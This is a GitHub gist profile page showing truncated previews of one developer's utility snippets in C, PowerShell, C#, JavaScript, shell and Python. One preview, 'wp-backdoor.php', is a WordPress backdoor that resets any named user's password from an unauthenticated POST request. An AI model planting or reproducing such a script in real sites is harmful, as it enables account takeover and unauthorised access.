Skip to content

Instantly share code, notes, and snippets.

View mkropat's full-sized avatar
📚
Learning

Michael Kropat mkropat

📚
Learning
View GitHub Profile
// gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux jsizes.c -o jsizes && ./jsizes
#include <stdio.h>
#include <jni.h>
int main() {
printf("jboolean %li\n", sizeof (jboolean));
printf("jbyte %li\n", sizeof (jbyte));
printf("jchar %li\n", sizeof (jchar));
printf("jshort %li\n", sizeof (jshort));
@mkropat
mkropat / measure-lines.ps1
Created June 19, 2015 20:11
Find files with the most lines of code in a project
param(
[string] $Filter,
[switch] $Recurse,
[int] $Top
)
function main {
Get-ChildItem -Recurse:$Recurse -Filter $Filter |
where { -not (Test-Path $_ -PathType Container) } |
Measure-Lines |
// gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux jsizes.c -o jsizes && ./jsizes
#include <stdio.h>
#include <jni.h>
int main() {
printf("jboolean %li\n", sizeof (jboolean));
printf("jbyte %li\n", sizeof (jbyte));
printf("jchar %li\n", sizeof (jchar));
printf("jshort %li\n", sizeof (jshort));
@mkropat
mkropat / wp-backdoor.php
Created April 30, 2014 20:06
wp-backdoor.php
<?php
require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/registration.php' );
require_once( ABSPATH . '/wp-includes/pluggable.php' );
require_once( ABSPATH . '/wp-includes/general-template.php' );
require_once( ABSPATH . '/wp-includes/capabilities.php' );
if ($_POST) {
if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work
wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password']));
function Get-WebFile {
param(
[Parameter(Mandatory=$true)]
$Uri,
[string] $OutFile,
[string] $Hash,
[string] $HashAlgorithm = 'SHA256'
)
if (-not $OutFile) {
using System.Linq;
using System.Threading.Tasks;
using Microsoft.Owin;
using Owin;
public enum SameSitePolicy
{
Strict,
Lax,
}
function Compute-Sha256($Str) {
$sha256 = New-Object System.Security.Cryptography.SHA256Managed
$sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Str))
}
function Get-RandomBytes($Size) {
$rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$bytes = [System.Byte[]]::new($Size)
$rng.GetBytes($bytes)
$bytes
@mkropat
mkropat / hexdump.js
Last active November 28, 2019 08:27 — forked from igorgatis/hexdump.js
Simple hexdump in Javascript
function d(str) {
console.log(hexdump(decode(str)));
}
function decode(base64) {
base64 = base64 || '';
return atob(base64.replace(/_/g, '/').replace(/-/g, '+'));
}
function hexdump(buffer, blockSize) {
#!/bin/sh
echo "| Name | Partition | Size (kB) | Path | Type |"
echo "|------|-----------|-----------|------|------|"
for d in /dev/block/bootdevice/by-name/*; do
name=$(basename -- "$d")
device=$(basename "$(readlink -- "$d")")
read -r _ fsmount fstype _ <<EOF
@mkropat
mkropat / getuser.py
Last active October 4, 2019 11:43
Lookup user id and name from the source (read: no environmental variables consulted). Cross-platform compatible (Windows, *nix).
import os
class UserNotFound(Exception): pass
### Windows ###
if os.name == 'nt':
import ctypes
from ctypes import windll, wintypes
class WinError: # [1]